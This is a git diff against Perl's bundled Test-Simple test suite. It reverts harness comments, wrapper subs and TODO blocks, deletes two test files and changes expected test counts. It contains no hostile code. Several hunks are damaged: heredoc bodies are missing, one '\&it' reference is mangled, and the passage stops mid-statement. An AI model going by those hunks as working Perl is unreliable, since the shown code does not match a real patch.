b/cpan/Test-Simple/t/HashBase.t @@ -83,17 +83,14 @@ is($pkg->do_it, 'const', "worked as expected"); *main::Const::Test::FOO = sub { 0 }; } ok(!$pkg->FOO, "overrode const sub"); -{ -local $TODO = "known to fail on $]" if $] le "5.006002"; is($pkg->do_it, 'const', "worked as expected, const was constant"); -} BEGIN { $INC{'Object/HashBase/Test/HBase/Wrapped.pm'} = __FILE__; package main::HBase::Wrapped; - use Test2::Util::HashBase qw/foo bar dup/; + use Test2::Util::HashBase qw/foo bar/; my $foo = __PACKAGE__->can('foo'); no warnings 'redefine'; @@ -110,7 +107,7 @@ BEGIN { package main::HBase::Wrapped::Inherit; use base 'main::HBase::Wrapped'; - use Test2::Util::HashBase qw/baz dup/; + use Test2::Util::HashBase; } my $o = main::HBase::Wrapped::Inherit->new(foo => 1); @@ -155,84 +152,6 @@ like(exception { $ro->set_bar('xxx') }, qr/'bar' is read-only/, "Cannot set bar" my $warnings = warnings { is($ro->set_baz('xxx'), 'xxx', 'set baz') }; like($warnings->[0], qr/set_baz\(\) is deprecated/, "Deprecation warning"); - - -is_deeply( - [Test2::Util::HashBase::attr_list('main::HBase::Wrapped::Inherit')], - [qw/foo bar dup baz/], - "Got a list of attributes in order starting from base class, duplicates removed", -); - -my $x = main::HBase::Wrapped::Inherit->new(foo => 1, baz => 2); -is($x->foo, 1, "set foo via pairs"); -is($x->baz, 2, "set baz via pairs"); - -# Now with hashref -my $y = main::HBase::Wrapped::Inherit->new({foo => 1, baz => 2}); -is($y->foo, 1, "set foo via hashref"); -is($y->baz, 2, "set baz via hashref"); - -# Now with hashref -my $z = main::HBase::Wrapped::Inherit->new([ - 1, # foo - 2, # bar - 3, # dup - 4, # baz -]); -is($z->foo, 1, "set foo via arrayref"); -is($z->baz, 4, "set baz via arrayref"); - -like( - exception { main::HBase::Wrapped::Inherit->new([1 .. 10]) }, - qr/Too many arguments for main::HBase::Wrapped::Inherit constructor/, - "Too many args in array form" -); - - -my $CAN_COUNT = 0; -my $CAN_COUNT2 = 0; -my $INIT_COUNT = 0; -BEGIN { - $INC{'Object/HashBase/Test/HBase3.pm'} = __FILE__; - package - main::HBase3; - use Test2::Util::HashBase qw/foo/; - - sub can { - my $self = shift; - $CAN_COUNT++; - $self->SUPER::can(@_); - } - - $INC{'Object/HashBase/Test/HBase4.pm'} = __FILE__; - package - main::HBase4; - use Test2::Util::HashBase qw/foo/; - - sub can { - my $self = shift; - $CAN_COUNT2++; - $self->SUPER::can(@_); - } - - sub init { $INIT_COUNT++ } -} - -is($CAN_COUNT, 0, "->can has not been called yet"); -my $it = main::HBase3->new; -is($CAN_COUNT, 1, "->can has been called once to check for init"); -$it = main::HBase3->new; -is($CAN_COUNT, 1, "->can was not called again, we cached it"); - -is($CAN_COUNT2, 0, "->can has not been called yet"); -is($INIT_COUNT, 0, "->init has not been called yet"); -$it = main::HBase4->new; -is($CAN_COUNT2, 1, "->can has been called once to check for init"); -is($INIT_COUNT, 1, "->init has been called once"); -$it = main::HBase4->new; -is($CAN_COUNT2, 1, "->can was not called again, we cached it"); -is($INIT_COUNT, 2, "->init has been called again"); - done_testing; 1; diff --git a/cpan/Test-Simple/t/Legacy/Builder/Builder.t b/cpan/Test-Simple/t/Legacy/Builder/Builder.t index 64019c0deead..a5bfd155a62a 100644 --- a/cpan/Test-Simple/t/Legacy/Builder/Builder.t +++ b/cpan/Test-Simple/t/Legacy/Builder/Builder.t @@ -1,5 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-STREAM BEGIN { if( $ENV{PERL_CORE} ) { diff --git a/cpan/Test-Simple/t/Legacy/Builder/details.t b/cpan/Test-Simple/t/Legacy/Builder/details.t index f95671ab5ea1..05d4828b4d9d 100644 --- a/cpan/Test-Simple/t/Legacy/Builder/details.t +++ b/cpan/Test-Simple/t/Legacy/Builder/details.t @@ -1,5 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-STREAM BEGIN { if( $ENV{PERL_CORE} ) { diff --git a/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t b/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t index ef5e0778cfe9..3a0bae247bc2 100644 --- a/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t +++ b/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t @@ -16,22 +16,18 @@ use Test::Builder::NoOutput; my $tb = Test::Builder::NoOutput->create; -# $tb methods expect to be wrapped in at least 1 sub -sub done_testing { $tb->done_testing(@_) } -sub ok { $tb->ok(@_) } - { # Normalize test output local $ENV{HARNESS_ACTIVE}; - ok(1); - ok(1); - ok(1); + $tb->ok(1); + $tb->ok(1); + $tb->ok(1); #line 24 - done_testing(3); - done_testing; - done_testing; + $tb->done_testing(3); + $tb->done_testing; + $tb->done_testing; } my $Test = Test::Builder->new; diff --git a/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t b/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t index 54e7f42a24a2..8208635359f1 100644 --- a/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t +++ b/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t @@ -18,22 +18,17 @@ use Test::Builder::NoOutput; my $tb = Test::Builder::NoOutput->create; -# TB methods expect to be wrapped -sub ok { $tb->ok(@_) } -sub plan { $tb->plan(@_) } -sub done_testing { $tb->done_testing(@_) } - { # Normalize test output local $ENV{HARNESS_ACTIVE}; - plan( tests => 3 ); - ok(1); - ok(1); - ok(1); + $tb->plan( tests => 3 ); + $tb->ok(1); + $tb->ok(1); + $tb->ok(1); #line 24 - done_testing(2); + $tb->done_testing(2); } my $Test = Test::Builder->new; diff --git a/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t b/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t index f084571570e6..594402ee7f59 100644 --- a/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t +++ b/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t @@ -3,9 +3,8 @@ use strict; use warnings; use Test2::Util qw/CAN_FORK/; - BEGIN { - unless (CAN_FORK) { + unless(CAN_FORK) { require Test::More; Test::More->import(skip_all => "fork is not supported"); } @@ -21,22 +20,20 @@ $b->reset; $b->plan('tests' => 2); my $pipe = IO::Pipe->new; -if (my $pid = fork) { - $pipe->reader; - my ($one, $two) = <$pipe>; - $b->like($one, qr/ok 1/, "ok 1 from child"); - $b->like($two, qr/1\.\.1/, "1..1 from child"); - waitpid($pid, 0); +if ( my $pid = fork ) { + $pipe->reader; + my ($one, $two) = <$pipe>; + $b->like($one, qr/ok 1/, "ok 1 from child"); + $b->like($two, qr/1\.\.1/, "1..1 from child"); + waitpid($pid, 0); } else { - require Test::Builder::Formatter; - $b->{Stack}->top->format(Test::Builder::Formatter->new()); - $pipe->writer; - $b->reset; - $b->no_plan; - $b->output($pipe); - $b->ok(1); - $b->done_testing; + $pipe->writer; + $b->reset; + $b->no_plan; + $b->output($pipe); + $b->ok(1); + $b->done_testing; } diff --git a/cpan/Test-Simple/t/Legacy/Builder/is_passing.t b/cpan/Test-Simple/t/Legacy/Builder/is_passing.t index d0aed0c2a4b7..d335aada5742 100644 --- a/cpan/Test-Simple/t/Legacy/Builder/is_passing.t +++ b/cpan/Test-Simple/t/Legacy/Builder/is_passing.t @@ -5,9 +5,7 @@ use lib 't/lib'; # We're going to need to override exit() later BEGIN { - require Test2::Hub; - no warnings 'redefine'; - *Test2::Hub::terminate = sub { + *CORE::GLOBAL::exit = sub(;$) { my $status = @_ ? 0 : shift; CORE::exit $status; }; @@ -63,19 +61,22 @@ use Test::Builder::NoOutput; ok $tb->is_passing, " and after the ending"; } + # is_passing() vs skip_all { my $tb = Test::Builder::NoOutput->create; { no warnings 'redefine'; - local *Test2::Hub::terminate = sub { 1 }; - + local *CORE::GLOBAL::exit = sub { + return 1; + }; $tb->plan( "skip_all" ); } ok $tb->is_passing, "Passing with skip_all"; } + # is_passing() vs done_testing(#) { my $tb = Test::Builder::NoOutput->create; diff --git a/cpan/Test-Simple/t/Legacy/Builder/no_diag.t b/cpan/Test-Simple/t/Legacy/Builder/no_diag.t index ed154a7e15e0..6fa538a82ea6 100644 --- a/cpan/Test-Simple/t/Legacy/Builder/no_diag.t +++ b/cpan/Test-Simple/t/Legacy/Builder/no_diag.t @@ -1,13 +1,8 @@ #!/usr/bin/perl -w -use Test::More 'no_diag'; - -plan 'skip_all' => "This test cannot be run with the current formatter" - unless Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter'); +use Test::More 'no_diag', tests => 2; pass('foo'); diag('This should not be displayed'); is(Test::More->builder->no_diag, 1); - -done_testing; diff --git a/cpan/Test-Simple/t/Legacy/Builder/no_ending.t b/cpan/Test-Simple/t/Legacy/Builder/no_ending.t index c356520fc771..03e0cc489d98 100644 --- a/cpan/Test-Simple/t/Legacy/Builder/no_ending.t +++ b/cpan/Test-Simple/t/Legacy/Builder/no_ending.t @@ -1,5 +1,4 @@ use Test::Builder; -# HARNESS-NO-STREAM BEGIN { if( $ENV{PERL_CORE} ) { diff --git a/cpan/Test-Simple/t/Legacy/Builder/reset.t b/cpan/Test-Simple/t/Legacy/Builder/reset.t index 94d6244d2e42..3bc44457fc04 100644 --- a/cpan/Test-Simple/t/Legacy/Builder/reset.t +++ b/cpan/Test-Simple/t/Legacy/Builder/reset.t @@ -1,5 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-STREAM # Test Test::Builder->reset; diff --git a/cpan/Test-Simple/t/Legacy/Regression/637.t b/cpan/Test-Simple/t/Legacy/Regression/637.t index 5fd2da6fcea8..c3aaf44c79fb 100644 --- a/cpan/Test-Simple/t/Legacy/Regression/637.t +++ b/cpan/Test-Simple/t/Legacy/Regression/637.t @@ -1,6 +1,5 @@ use strict; use warnings; -# HARNESS-NO-STREAM use Test2::Util qw/CAN_THREAD/; BEGIN { @@ -21,9 +20,6 @@ use Test2::IPC; use threads; use Test::More; -plan 'skip_all' => "This test cannot be run with the current formatter" - unless Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter'); - ok 1 for (1 .. 2); # used to reset the counter after thread finishes @@ -50,7 +46,7 @@ my $subtest_out = async { } ->join; -$subtest_out =~ s/^/ /gm; +$subtest_out =~ s/^/ /gm; print $subtest_out; # reset as if the thread never "said" anything diff --git a/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t b/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t index c94f7d4fcbdc..f9a64ee2563a 100644 --- a/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t +++ b/cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t @@ -18,19 +18,13 @@ sub capture(&) { return $warn || ""; } -{ -local $TODO = "known to fail on $]" if $] le "5.006002"; my $file = __FILE__; -my $line = __LINE__ + 4; +my $line = __LINE__ + 2; like( - capture { - local $TODO; # localize $TODO to clear previous assignment, as following use_ok test is expected to pass - use_ok 'MyWarner'; - }, + capture { use_ok 'MyWarner' }, qr/^Deprected! run for your lives! at \Q$file\E line $line/, "Got the warning" ); -} ok(!capture { no warnings 'deprecated'; use_ok 'MyWarner' }, "No warning"); diff --git a/cpan/Test-Simple/t/Legacy/Regression/789-read-only.t b/cpan/Test-Simple/t/Legacy/Regression/789-read-only.t deleted file mode 100644 index 3fdd326f881c..000000000000 --- a/cpan/Test-Simple/t/Legacy/Regression/789-read-only.t +++ /dev/null @@ -1,38 +0,0 @@ -use Test::More; -use strict; -use warnings; -# HARNESS-NO-STREAM - -# See https://github.com/Test-More/test-more/issues/789 - -BEGIN { - plan skip_all => 'AUTHOR_TESTING not enabled' - unless $ENV{AUTHOR_TESTING}; - - plan skip_all => "This test requires Test::Class" - unless eval { require Test::Class; 1 }; - - plan skip_all => "This test requires Test::Script" - unless eval { require Test::Script; 1 }; -} - -package Test; - -use base 'Test::Class'; - -use Test::More; -use Test::Script; - -sub a_compilation_test : Test(startup => 1) { - script_compiles(__FILE__); -} - -sub test : Test(1) { - ok(1); -} - -package main; - -use Test::Class; - -Test::Class->runtests; diff --git a/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t b/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t index 26bbc3b96249..6ec508f2470d 100644 --- a/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t +++ b/cpan/Test-Simple/t/Legacy/Tester/tbt_08subtest.t @@ -1,5 +1,4 @@ #!/usr/bin/env perl -# HARNESS-NO-STREAM use strict; use warnings; diff --git a/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t b/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t index 87e1a5414085..a0c8b8e2e5d6 100644 --- a/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t +++ b/cpan/Test-Simple/t/Legacy/Tester/tbt_09do.t @@ -9,8 +9,6 @@ use File::Basename qw(dirname); use File::Spec qw(); my $file = File::Spec->join(dirname(__FILE__), 'tbt_09do_script.pl'); -$file = File::Spec->catfile(File::Spec->curdir(), $file) - unless File::Spec->file_name_is_absolute($file); my $done = do $file; ok(defined($done), 'do succeeded') or do { if ($@) { diff --git a/cpan/Test-Simple/t/Legacy/bail_out.t b/cpan/Test-Simple/t/Legacy/bail_out.t index 94f12acc9419..d1c3dce72197 100644 --- a/cpan/Test-Simple/t/Legacy/bail_out.t +++ b/cpan/Test-Simple/t/Legacy/bail_out.t @@ -1,6 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-STREAM -# HARNESS-NO-PRELOAD BEGIN { if( $ENV{PERL_CORE} ) { diff --git a/cpan/Test-Simple/t/Legacy/buffer.t b/cpan/Test-Simple/t/Legacy/buffer.t index 1e7b6c9e0809..6039e4a6f723 100644 --- a/cpan/Test-Simple/t/Legacy/buffer.t +++ b/cpan/Test-Simple/t/Legacy/buffer.t @@ -1,5 +1,4 @@ #!/usr/bin/perl -# HARNESS-NO-STREAM BEGIN { if( $ENV{PERL_CORE} ) { diff --git a/cpan/Test-Simple/t/Legacy/c_flag.t b/cpan/Test-Simple/t/Legacy/c_flag.t index 02551d09e5e6..a33963415edf 100644 --- a/cpan/Test-Simple/t/Legacy/c_flag.t +++ b/cpan/Test-Simple/t/Legacy/c_flag.t @@ -1,6 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-STREAM -# HARNESS-NO-PRELOAD # Test::More should not print anything when Perl is only doing # a compile as with the -c flag or B::Deparse or perlcc. diff --git a/cpan/Test-Simple/t/Legacy/check_tests.t b/cpan/Test-Simple/t/Legacy/check_tests.t index 12a80c639d02..ec88e2d48cc0 100644 --- a/cpan/Test-Simple/t/Legacy/check_tests.t +++ b/cpan/Test-Simple/t/Legacy/check_tests.t @@ -5,7 +5,7 @@ use Test::Tester; use Data::Dumper qw(Dumper); my $test = Test::Builder->new; -$test->plan(tests => 139); +$test->plan(tests => 105); my $cap; @@ -95,34 +95,6 @@ my @tests = ( depth => 0, }, ], - [ - 'pass diag qr', - '$cap->ok(1, "pass diag qr"); - $cap->diag("pass diag qr");', - { - name => "pass diag qr", - ok => 1, - actual_ok => 1, - reason => "", - type => "", - diag => qr/pass diag qr/, - depth => 0, - }, - ], - [ - 'fail diag qr', - '$cap->ok(0, "fail diag qr"); - $cap->diag("fail diag qr");', - { - name => "fail diag qr", - ok => 0, - actual_ok => 0, - reason => "", - type => "", - diag => qr/fail diag qr/, - depth => 0, - }, - ], ); my $big_code = ""; diff --git a/cpan/Test-Simple/t/Legacy/died.t b/cpan/Test-Simple/t/Legacy/died.t index af929cbb817d..c26e86b541d1 100644 --- a/cpan/Test-Simple/t/Legacy/died.t +++ b/cpan/Test-Simple/t/Legacy/died.t @@ -1,6 +1,4 @@ #!perl -w -# HARNESS-NO-STREAM -# HARNESS-NO-PRELOAD BEGIN { if( $ENV{PERL_CORE} ) { diff --git a/cpan/Test-Simple/t/Legacy/exit.t b/cpan/Test-Simple/t/Legacy/exit.t index d04fc357dcd5..e32e986314c9 100644 --- a/cpan/Test-Simple/t/Legacy/exit.t +++ b/cpan/Test-Simple/t/Legacy/exit.t @@ -1,5 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-STREAM # Can't use Test.pm, that's a 5.005 thing. package My::Test; diff --git a/cpan/Test-Simple/t/Legacy/extra.t b/cpan/Test-Simple/t/Legacy/extra.t index ac82aae7ce8a..55a0007d49db 100644 --- a/cpan/Test-Simple/t/Legacy/extra.t +++ b/cpan/Test-Simple/t/Legacy/extra.t @@ -16,40 +16,35 @@ use Test::Builder; use Test::Builder::NoOutput; use Test::Simple; -# TB methods expect to be wrapped -my $ok = sub { shift->ok(@_) }; -my $plan = sub { shift->plan(@_) }; -my $done_testing = sub { shift->done_testing(@_) }; - my $TB = Test::Builder->new; my $test = Test::Builder::NoOutput->create; -$test->$plan( tests => 3 ); +$test->plan( tests => 3 ); local $ENV{HARNESS_ACTIVE} = 0; -$test->$ok(1, 'Foo'); +$test->ok(1, 'Foo'); $TB->is_eq($test->read(), <$ok(0, 'Bar'); +$test->ok(0, 'Bar'); $TB->is_eq($test->read(), <$ok(1, 'Yar'); -$test->$ok(1, 'Car'); +$test->ok(1, 'Yar'); +$test->ok(1, 'Car'); $TB->is_eq($test->read(), <$ok(0, 'Sar'); +$test->ok(0, 'Sar'); $TB->is_eq($test->read(), <is_eq($test->read(), <$done_testing(5); +$TB->done_testing(5); diff --git a/cpan/Test-Simple/t/Legacy/extra_one.t b/cpan/Test-Simple/t/Legacy/extra_one.t index a1a15a67bd2f..d77404e15de3 100644 --- a/cpan/Test-Simple/t/Legacy/extra_one.t +++ b/cpan/Test-Simple/t/Legacy/extra_one.t @@ -1,6 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-STREAM -# HARNESS-NO-PRELOAD BEGIN { if( $ENV{PERL_CORE} ) { diff --git a/cpan/Test-Simple/t/Legacy/fail-like.t b/cpan/Test-Simple/t/Legacy/fail-like.t index 4ec99aeab02f..6545507e3a80 100644 --- a/cpan/Test-Simple/t/Legacy/fail-like.t +++ b/cpan/Test-Simple/t/Legacy/fail-like.t @@ -1,6 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-STREAM -# HARNESS-NO-PRELOAD BEGIN { if( $ENV{PERL_CORE} ) { @@ -27,10 +25,12 @@ require Test::Builder; my $TB = Test::Builder->create; $TB->plan(tests => 4); + require Test::Simple::Catch; my($out, $err) = Test::Simple::Catch::caught(); local $ENV{HARNESS_ACTIVE} = 0; + package main; require Test::More; diff --git a/cpan/Test-Simple/t/Legacy/fail-more.t b/cpan/Test-Simple/t/Legacy/fail-more.t index 3d28fbb52d49..5cb373edef9a 100644 --- a/cpan/Test-Simple/t/Legacy/fail-more.t +++ b/cpan/Test-Simple/t/Legacy/fail-more.t @@ -1,6 +1,4 @@ #!perl -w -# HARNESS-NO-STREAM -# HARNESS-NO-PRELOAD BEGIN { if( $ENV{PERL_CORE} ) { diff --git a/cpan/Test-Simple/t/Legacy/fail.t b/cpan/Test-Simple/t/Legacy/fail.t index ee8f1b6866e4..ccf0c7489349 100644 --- a/cpan/Test-Simple/t/Legacy/fail.t +++ b/cpan/Test-Simple/t/Legacy/fail.t @@ -20,24 +20,19 @@ local $ENV{HARNESS_ACTIVE} = 0; use Test::Builder; use Test::Builder::NoOutput; -# TB methods expect to be wrapped -my $ok = sub { shift->ok(@_) }; -my $plan = sub { shift->plan(@_) }; -my $done_testing = sub { shift->done_testing(@_) }; - my $Test = Test::Builder->new; # Set up a builder to record some failing tests. { my $tb = Test::Builder::NoOutput->create; - $tb->$plan( tests => 5 ); + $tb->plan( tests => 5 ); #line 28 - $tb->$ok( 1, 'passing' ); - $tb->$ok( 2, 'passing still' ); - $tb->$ok( 3, 'still passing' ); - $tb->$ok( 0, 'oh no!' ); - $tb->$ok( 0, 'damnit' ); + $tb->ok( 1, 'passing' ); + $tb->ok( 2, 'passing still' ); + $tb->ok( 3, 'still passing' ); + $tb->ok( 0, 'oh no!' ); + $tb->ok( 0, 'damnit' ); $tb->_ending; $Test->is_eq($tb->read('out'), <$done_testing(2); + $Test->done_testing(2); } diff --git a/cpan/Test-Simple/t/Legacy/fail_one.t b/cpan/Test-Simple/t/Legacy/fail_one.t index ddab4fbe0afb..61d7c081ffed 100644 --- a/cpan/Test-Simple/t/Legacy/fail_one.t +++ b/cpan/Test-Simple/t/Legacy/fail_one.t @@ -18,20 +18,15 @@ local $ENV{HARNESS_ACTIVE} = 0; use Test::Builder; use Test::Builder::NoOutput; -# TB methods expect to be wrapped -my $ok = sub { shift->ok(@_) }; -my $plan = sub { shift->plan(@_) }; -my $done_testing = sub { shift->done_testing(@_) }; - my $Test = Test::Builder->new; { my $tb = Test::Builder::NoOutput->create; - $tb->$plan( tests => 1 ); + $tb->plan( tests => 1 ); #line 28 - $tb->$ok(0); + $tb->ok(0); $tb->_ending; $Test->is_eq($tb->read('out'), <$done_testing(2); + $Test->done_testing(2); } diff --git a/cpan/Test-Simple/t/Legacy/harness_active.t b/cpan/Test-Simple/t/Legacy/harness_active.t index 4e0c558710d3..7b027a7b4040 100644 --- a/cpan/Test-Simple/t/Legacy/harness_active.t +++ b/cpan/Test-Simple/t/Legacy/harness_active.t @@ -47,7 +47,6 @@ Test::More->builder->no_ending(1); { local $ENV{HARNESS_ACTIVE} = 0; - local $ENV{HARNESS_IS_VERBOSE} = 0; #line 62 fail( "this fails" ); @@ -67,7 +66,6 @@ ERR { local $ENV{HARNESS_ACTIVE} = 1; - local $ENV{HARNESS_IS_VERBOSE} = 0; #line 71 fail( "this fails" ); diff --git a/cpan/Test-Simple/t/Legacy/missing.t b/cpan/Test-Simple/t/Legacy/missing.t index a48533c8cb19..3b8f1fa9b4b5 100644 --- a/cpan/Test-Simple/t/Legacy/missing.t +++ b/cpan/Test-Simple/t/Legacy/missing.t @@ -1,6 +1,4 @@ -# HARNESS-NO-STREAM # HARNESS-NO-PRELOAD - BEGIN { if( $ENV{PERL_CORE} ) { chdir 't'; diff --git a/cpan/Test-Simple/t/Legacy/no_log_results.t b/cpan/Test-Simple/t/Legacy/no_log_results.t deleted file mode 100644 index 859e120dd2f9..000000000000 --- a/cpan/Test-Simple/t/Legacy/no_log_results.t +++ /dev/null @@ -1,19 +0,0 @@ -use strict; -use warnings; - -use Test::More; - -sub it { - my $tb = Test::Builder->new; - $tb->no_log_results; - - ok(1, "sample"); - ok(2, "sample"); - - is_deeply([$tb->details], [], "no details were logged"); -} - -it(); -subtest it => \⁢ - -done_testing; diff --git a/cpan/Test-Simple/t/Legacy/no_plan.t b/cpan/Test-Simple/t/Legacy/no_plan.t index 559dcfa60c12..5f392e40e1f2 100644 --- a/cpan/Test-Simple/t/Legacy/no_plan.t +++ b/cpan/Test-Simple/t/Legacy/no_plan.t @@ -14,17 +14,12 @@ use Test::More tests => 7; my $tb = Test::Builder->create; -# TB methods expect to be wrapped -my $ok = sub { shift->ok(@_) }; -my $plan = sub { shift->plan(@_) }; -my $done_testing = sub { shift->done_testing(@_) }; - #line 20 -ok !eval { $tb->$plan(tests => undef) }; +ok !eval { $tb->plan(tests => undef) }; is($@, "Got an undefined number of tests at $0 line 20.\n"); #line 24 -ok !eval { $tb->$plan(tests => 0) }; +ok !eval { $tb->plan(tests => 0) }; is($@, "You said to run 0 tests at $0 line 24.\n"); { @@ -32,7 +27,7 @@ is($@, "You said to run 0 tests at $0 line 24.\n"); local $SIG{__WARN__} = sub { $warning .= join '', @_ }; #line 31 - ok $tb->$plan(no_plan => 1); + ok $tb->plan(no_plan => 1); is( $warning, "no_plan takes no arguments at $0 line 31.\n" ); is $tb->has_plan, 'no_plan'; } diff --git a/cpan/Test-Simple/t/Legacy/no_tests.t b/cpan/Test-Simple/t/Legacy/no_tests.t index 12c37c6885d1..997add59b2e4 100644 --- a/cpan/Test-Simple/t/Legacy/no_tests.t +++ b/cpan/Test-Simple/t/Legacy/no_tests.t @@ -1,6 +1,4 @@ #!perl -w -# HARNESS-NO-STREAM -# HARNESS-NO-PRELOAD BEGIN { if( $ENV{PERL_CORE} ) { diff --git a/cpan/Test-Simple/t/Legacy/overload_threads.t b/cpan/Test-Simple/t/Legacy/overload_threads.t index fbc067aea10a..56bdaec5bc9b 100644 --- a/cpan/Test-Simple/t/Legacy/overload_threads.t +++ b/cpan/Test-Simple/t/Legacy/overload_threads.t @@ -18,11 +18,7 @@ BEGIN { eval { require threads; 'threads'->import; 1; } if CAN_THREAD; } -use Test::More; - -plan skip_all => "known to crash on $]" if $] le "5.006002"; - -plan tests => 5; +use Test::More tests => 5; package Overloaded; diff --git a/cpan/Test-Simple/t/Legacy/skip.t b/cpan/Test-Simple/t/Legacy/skip.t index 9d37c3b39cc5..f2ea9fbf2017 100644 --- a/cpan/Test-Simple/t/Legacy/skip.t +++ b/cpan/Test-Simple/t/Legacy/skip.t @@ -1,5 +1,4 @@ #!perl -w -# HARNESS-NO-PRELOAD BEGIN { if( $ENV{PERL_CORE} ) { @@ -43,6 +42,7 @@ SKIP: { is( $line || '', '', ' or line' ); } + SKIP: { skip $Why, 2 if 1; diff --git a/cpan/Test-Simple/t/Legacy/subtest/bail_out.t b/cpan/Test-Simple/t/Legacy/subtest/bail_out.t index 86a50cbbefbf..bc77325f169e 100644 --- a/cpan/Test-Simple/t/Legacy/subtest/bail_out.t +++ b/cpan/Test-Simple/t/Legacy/subtest/bail_out.t @@ -1,6 +1,4 @@ #!/usr/bin/perl -w -# HARNESS-NO-STREAM -# HARNESS-NO-PRELOAD BEGIN { if( $ENV{PERL_CORE} ) { @@ -12,20 +10,14 @@ BEGIN { } } -my $goto = 0; my $Exit_Code; BEGIN { - *CORE::GLOBAL::exit = sub { $Exit_Code = shift; goto XXX if $goto; CORE::exit($Exit_Code)}; + *CORE::GLOBAL::exit = sub { $Exit_Code = shift; goto XXX}; } use Test::Builder; use Test::More; -my $skip = ref(Test::Builder->new->{Stack}->top->format) ne 'Test::Builder::Formatter'; -plan skip_all => "This test cannot be run with the current formatter" - if $skip; - -$goto = 1; my $output; my $TB = Test::More->builder; $TB->output(\$output); diff --git a/cpan/Test-Simple/t/Legacy/subtest/basic.t b/cpan/Test-Simple/t/Legacy/subtest/basic.t index 44d370e95676..485057110bca 100644 --- a/cpan/Test-Simple/t/Legacy/subtest/basic.t +++ b/cpan/Test-Simple/t/Legacy/subtest/basic.t @@ -17,33 +17,27 @@ use Test::Builder::NoOutput; use Test::More tests => 12; -# TB Methods expect to be wrapped. -my $ok = sub { shift->ok(@_) }; -my $plan = sub { shift->plan(@_) }; -my $diag = sub { shift->diag(@_) }; -my $finalize = sub { shift->finalize(@_) }; - # Formatting may change if we're running under Test::Harness. $ENV{HARNESS_ACTIVE} = 0; { my $tb = Test::Builder::NoOutput->create; - $tb->$plan( tests => 7 ); + $tb->plan( tests => 7 ); for( 1 .. 3 ) { - $tb->$ok( $_, "We're on $_" ); - $tb->$diag("We ran $_"); + $tb->ok( $_, "We're on $_" ); + $tb->diag("We ran $_"); } { my $indented = $tb->child; - $indented->$plan('no_plan'); - $indented->$ok( 1, "We're on 1" ); - $indented->$ok( 1, "We're on 2" ); - $indented->$ok( 1, "We're on 3" ); - $indented->$finalize; + $indented->plan('no_plan'); + $indented->ok( 1, "We're on 1" ); + $indented->ok( 1, "We're on 2" ); + $indented->ok( 1, "We're on 3" ); + $indented->finalize; } for( 7, 8, 9 ) { - $tb->$ok( $_, "We're on $_" ); + $tb->ok( $_, "We're on $_" ); } is $tb->read, <<"END", 'Output should nest properly'; @@ -67,27 +61,27 @@ END { my $tb = Test::Builder::NoOutput->create; - $tb->$plan('no_plan'); + $tb->plan('no_plan'); for( 1 .. 1 ) { - $tb->$ok( $_, "We're on $_" ); - $tb->$diag("We ran $_"); + $tb->ok( $_, "We're on $_" ); + $tb->diag("We ran $_"); } { my $indented = $tb->child; - $indented->$plan('no_plan'); - $indented->$ok( 1, "We're on 1" ); + $indented->plan('no_plan'); + $indented->ok( 1, "We're on 1" ); { my $indented2 = $indented->child('with name'); - $indented2->$plan( tests => 2 ); - $indented2->$ok( 1, "We're on 2.1" ); - $indented2->$ok( 1, "We're on 2.1" ); - $indented2->$finalize; + $indented2->plan( tests => 2 ); + $indented2->ok( 1, "We're on 2.1" ); + $indented2->ok( 1, "We're on 2.1" ); + $indented2->finalize; } - $indented->$ok( 1, 'after child' ); - $indented->$finalize; + $indented->ok( 1, 'after child' ); + $indented->finalize; } for(7) { - $tb->$ok( $_, "We're on $_" ); + $tb->ok( $_, "We're on $_" ); } $tb->_ending; @@ -113,20 +107,20 @@ END { my $child = $tb->child('expected to fail'); - $child->$plan( tests => 3 ); - $child->$ok(1); - $child->$ok(0); - $child->$ok(3); - $child->$finalize; + $child->plan( tests => 3 ); + $child->ok(1); + $child->ok(0); + $child->ok(3); + $child->finalize; } { my $child = $tb->child('expected to pass'); - $child->$plan( tests => 3 ); - $child->$ok(1); - $child->$ok(2); - $child->$ok(3); - $child->$finalize; + $child->plan( tests => 3 ); + $child->ok(1); + $child->ok(2); + $child->ok(3); + $child->finalize; } is $tb->read, <<"END", 'Previous child failures should not force subsequent failures'; 1..3 @@ -150,7 +144,7 @@ END my $child = $tb->child('one'); is $child->{$_}, $tb->{$_}, "The child should copy the ($_) filehandle" foreach qw{Out_FH Todo_FH Fail_FH}; - $child->$finalize; + $child->finalize; } { my $tb = Test::Builder::NoOutput->create; @@ -159,9 +153,9 @@ END can_ok $tb, 'name'; is $child->name, 'one', '... but child names should be whatever we set them to'; - $child->$finalize; + $child->finalize; $child = $tb->child; - $child->$finalize; + $child->finalize; } # Skip all subtests { @@ -169,7 +163,7 @@ END { my $child = 